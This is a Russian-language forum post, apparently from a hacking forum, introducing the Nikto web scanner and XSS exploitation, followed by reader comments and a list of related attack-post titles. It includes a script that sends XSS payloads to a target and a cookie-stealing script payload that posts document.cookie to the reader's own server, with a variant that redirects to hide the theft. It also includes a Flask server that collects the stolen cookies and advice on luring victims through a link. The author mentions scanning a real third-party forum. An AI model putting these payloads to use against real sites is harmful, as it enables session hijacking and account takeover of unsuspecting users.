Знакомство с веб сканером уязвимостей Nikto и эксплотация XSS

NK_TRIPLLE · 12 мар 2025

Теория:
Веб сканер уязвимостей это автоматизированная утилита которая просматривает каждый под домен и страницу сайта и ищет уязвимости.
XSS - это уязвимость на сайте, а конкретно на стороне клиента, она позволяет встраивать вредоносный javascript код
Для того что бы проверить базовый xss в инпуте достаточно написать <script>alert(2)</script>
и отправить форму.

Тестировать и проверять нужно поиск, логин, регистрацию, различные другие формы.
Но для логина больше подходит sql injections, но об как нибудь в другой статье.

Вот там все xss payloads в одном месте, можно пробывать каждый payload отдельно, можно скриптом кому как удобно.
https://github.com/payloadbox/xss-payload-list
Примитивный пример:
import requests

target_url = "http://example.com/vulnerable-endpoint"

payloads = [
"<script>alert('XSS1')</script>",
"<img src=x onerror=alert('XSS2')>",
"<svg/onload=alert('XSS3')>",
"'\"><script>alert('XSS4')</script>",
"<body onload=alert('XSS5')>"
]

params = {"input": "value"}

for payload in payloads:
try:
params["vulnerable_field"] = payload
response = requests.post(target_url, data=params)
if response.status_code == 200:
print(f"Payload отправлен: {payload}")
else:
print(f"Ошибка {response.status_code} для payload: {payload}")
except Exception as e:
print(f"Ошибка при отправке payload {payload}: {e}")

Python
import requests



target_url = "http://example.com/vulnerable-endpoint"



payloads = [

    "<script>alert('XSS1')</script>",

    "<img src=x onerror=alert('XSS2')>",

    "<svg/onload=alert('XSS3')>",

    "'\"><script>alert('XSS4')</script>",

    "<body onload=alert('XSS5')>"

]



params = {"input": "value"}



for payload in payloads:

    try:

        params["vulnerable_field"] = payload

        response = requests.post(target_url, data=params)

        if response.status_code == 200:

            print(f"Payload отправлен: {payload}")

        else:

            print(f"Ошибка {response.status_code} для payload: {payload}")

    except Exception as e:

        print(f"Ошибка при отправке payload {payload}: {e}")
Полноценный CLI
usage: XSS-Checker [-h] --url URL [--endpoint ENDPOINT] [--ext-url EXTRA_URL] [--cookies COOKIES]
[--sig SIG] [--threads THREADS] [--timeout TIMEOUT]
[--browser {Chrome,Chromium,Brave,Firefox,Edge}] [--driver DRIVER] [--proxy PROXY]
[--writefile WRITEFILE] [--silent] [--update] [--version]

XSS-Checker is a tool used to Check / Validate for XSS vulnerabilities

optional arguments:
-h, --help show this help message and exit
--url URL Target URL to validate / check for XSS vulnerability
--endpoint ENDPOINT Overwrite URL's endpoint to ENDPOINT (URL = {{RootURL}} + ENDPOINT)
--ext-url EXTRA_URL Append EXTRA_URL to URL (URL = URL + EXTRA_URL)
--cookies COOKIES Cookies data "CookieName1=CookieValue1; CookieName2=CookieValue2" (TO-DO)
--sig SIG The message content of the pop-up box is used (default: XSS-Checker)
--threads THREADS Number of concurrent threads (default: 5)
--timeout TIMEOUT Time to wait for the page to finish loading in seconds (default: 10)
--browser {Chrome,Chromium,Brave,Firefox,Edge}
Browser used to validate / check for XSS vulnerability (default: Chrome)
--driver DRIVER Location of Browser Driver (chromedriver, geckodriver, msedgedriver) path
--proxy PROXY Proxy URL (eg 127.0.0.1:8080)
--writefile WRITEFILE
Write scan results to specified file
--silent Display only "Vulnerable" results in the output
--update Update XSS-Checker to the latest version
--version Show version of XSS-Checker

Python
usage: XSS-Checker [-h] --url URL [--endpoint ENDPOINT] [--ext-url EXTRA_URL] [--cookies COOKIES]

                   [--sig SIG] [--threads THREADS] [--timeout TIMEOUT]

                   [--browser {Chrome,Chromium,Brave,Firefox,Edge}] [--driver DRIVER] [--proxy PROXY]

                   [--writefile WRITEFILE] [--silent] [--update] [--version]



XSS-Checker is a tool used to Check / Validate for XSS vulnerabilities



optional arguments:

  -h, --help            show this help message and exit

  --url URL             Target URL to validate / check for XSS vulnerability

  --endpoint ENDPOINT   Overwrite URL's endpoint to ENDPOINT (URL = {{RootURL}} + ENDPOINT)

  --ext-url EXTRA_URL   Append EXTRA_URL to URL (URL = URL + EXTRA_URL)

  --cookies COOKIES     Cookies data "CookieName1=CookieValue1; CookieName2=CookieValue2" (TO-DO)

  --sig SIG             The message content of the pop-up box is used (default: XSS-Checker)

  --threads THREADS     Number of concurrent threads (default: 5)

  --timeout TIMEOUT     Time to wait for the page to finish loading in seconds (default: 10)

  --browser {Chrome,Chromium,Brave,Firefox,Edge}

                        Browser used to validate / check for XSS vulnerability (default: Chrome)

  --driver DRIVER       Location of Browser Driver (chromedriver, geckodriver, msedgedriver) path

  --proxy PROXY         Proxy URL (eg 127.0.0.1:8080)

  --writefile WRITEFILE

                        Write scan results to specified file

  --silent              Display only "Vulnerable" results in the output

  --update              Update XSS-Checker to the latest version

  --version             Show version of XSS-Checker
https://github.com/truocphan/XSS-Checker

Практика:
Выбираем сайт для практики:
Рекомендую не пытаться искать уязвимости по средствам сканеров на популярных сайтах ибо они поддерживаются большим штатом CyberSec

Установка nikto:
git clone https://github.com/sullo/nikto
cd nikto/program

Сканирование сайта:
./nikto.pl -h http://www.example.com
Пример ***** уязвимостей:

Для эксплатиции xss и nikto я нашел уязвимый сайт:
Это форум каких-то феменисток, так вот nikto вывел и другие уязвимости помимо xss
но сейчас не об этом.
Как вы видите на скрине ***** уязвимостей всегда есть target_url это сайт который он сканирует
также есть путь к уязвимой странице.
nikto выводит также всю полезную информацию для устранения уязвимости и для её эксплуатации

Вот вам payload для отправки куки на ваш сайт:
<script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')});</script>

JS
<script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')});</script>
Также можно скрыть то что куки были отправлены нам что бы пользователь не сменил пароль:

<script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')}).then(()=>window.location.href='/');</script>

JS

<script>document.cookie&&fetch('https://ваш-сайт.com/upload',{method:'POST',body:new FormData().append('file',new Blob([document.cookie],{type:'text/plain'}),'cookies.txt')}).then(()=>window.location.href='/');</script>

Также что бы куки правильно обработать нам нужен сервер и эндпоинт upload
Решил что бы это была полноценная статья добавить также код сервера, также стоит уточнить что домен не обязательно покупать можно указать только ip сервера и порт самого приложения.
from flask import Flask, request
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'Файл не найден', 400

file = request.files['file']
if file.filename == '':
return 'Файл не выбран', 400

file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
return 'Файл загружен', 200

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

Python
from flask import Flask, request

import os



app = Flask(__name__)



UPLOAD_FOLDER = 'uploads'

if not os.path.exists(UPLOAD_FOLDER):

    os.makedirs(UPLOAD_FOLDER)



app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER



@app.route('/upload', methods=['POST'])

def upload_file():

    if 'file' not in request.files:

        return 'Файл не найден', 400



    file = request.files['file']

    if file.filename == '':

        return 'Файл не выбран', 400



    file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)

    file.save(file_path)

    return 'Файл загружен', 200



if __name__ == '__main__':

    app.run(host='0.0.0.0', port=5000)
В нашем случае нужно сделать примерно следущее:
example.com/уязвимая страница/наш js payload

Для того что бы получить куки пользователя достаточно что бы он перешел по ссылке
Большинство людей не смотреть на длину ссылки, смотрят лишь на домен ссылки, если домен безопасный переходят.

На этом пожалуй всё, получилось и так довольно длинно, надеюсь было интересно, следущую статью напишу про sql injections

LOOKED · 12 мар 2025

с кайфом щас прочитаю спс

cveattack · 12 мар 2025

NK_TRIPLLE Также что бы куки правильно обработать нам нужен сервер и эндпоинт upload
Нажмите, чтобы раскрыть...

а еще обойти httponly на нормальный сайтах)

максимально неприятный цикл

Всё о sql injections и no sql injections и их эксплотации

О csrf attack и важности csrf token на твоём сайте

Как просмотреть любое видео у любого юзера вконторы

У вас остался старый тунель в playit.gg и никак не можете его удалить ? РЕШИМ

Лутаем дополнительные ******

Обходим лаунчер Social Club в играх ( GTA IV, GTA V, RDR II и т.п)

Знакомство с веб сканером уязвимостей Nikto и эксплотация XSS

Пример эксплуатации уязвимости WebSocket (Burp Suite)

Всё о File Inclusion и Remote file inclusion

Взлом игр в Telegram.

Заливка шелла на vBulletin 5

Регистрируем Yandex аккаунт на TempMail

XSS Administrator Escalation (WP) | Повышение прав к админу | Получаем доступ без ограничений

Заходим в аккаунт через Cookie на примере Roblox

Windows Theme Spoofing CVE-2024-21320

WAF bypass. Как вызнать IP сайта, который использует WAF или защиту от DDoS

Получаем аккаунт на xaker.ru без регистрации (без подписки)

Уязвимость в ПО удаленного доступа

История о том, как я полностью взламывал wordpress сайты..

RCE с помощью загрузки плагина (CVE-2024-31210)

Обход защиты от XSS

Как работала уязвимость Telegram

#4. php object injection уязвимости.

Новая утечка Telegram l Снос ботов в 2 клика

Уязвимость в телеграме из-за которого можно словить *******

Как редиректить ****** во избежание КТ

Про сlient-side path traversal

Уязвимости регистрации: максимизация угрозы

Фаззим исполняемые файлы при помощи AFL++ с санитайзерами

Взлом сайта Telegram / Вставляем свой текст на сайт

Знакомство с веб сканером уязвимостей Nikto и эксплотация XSS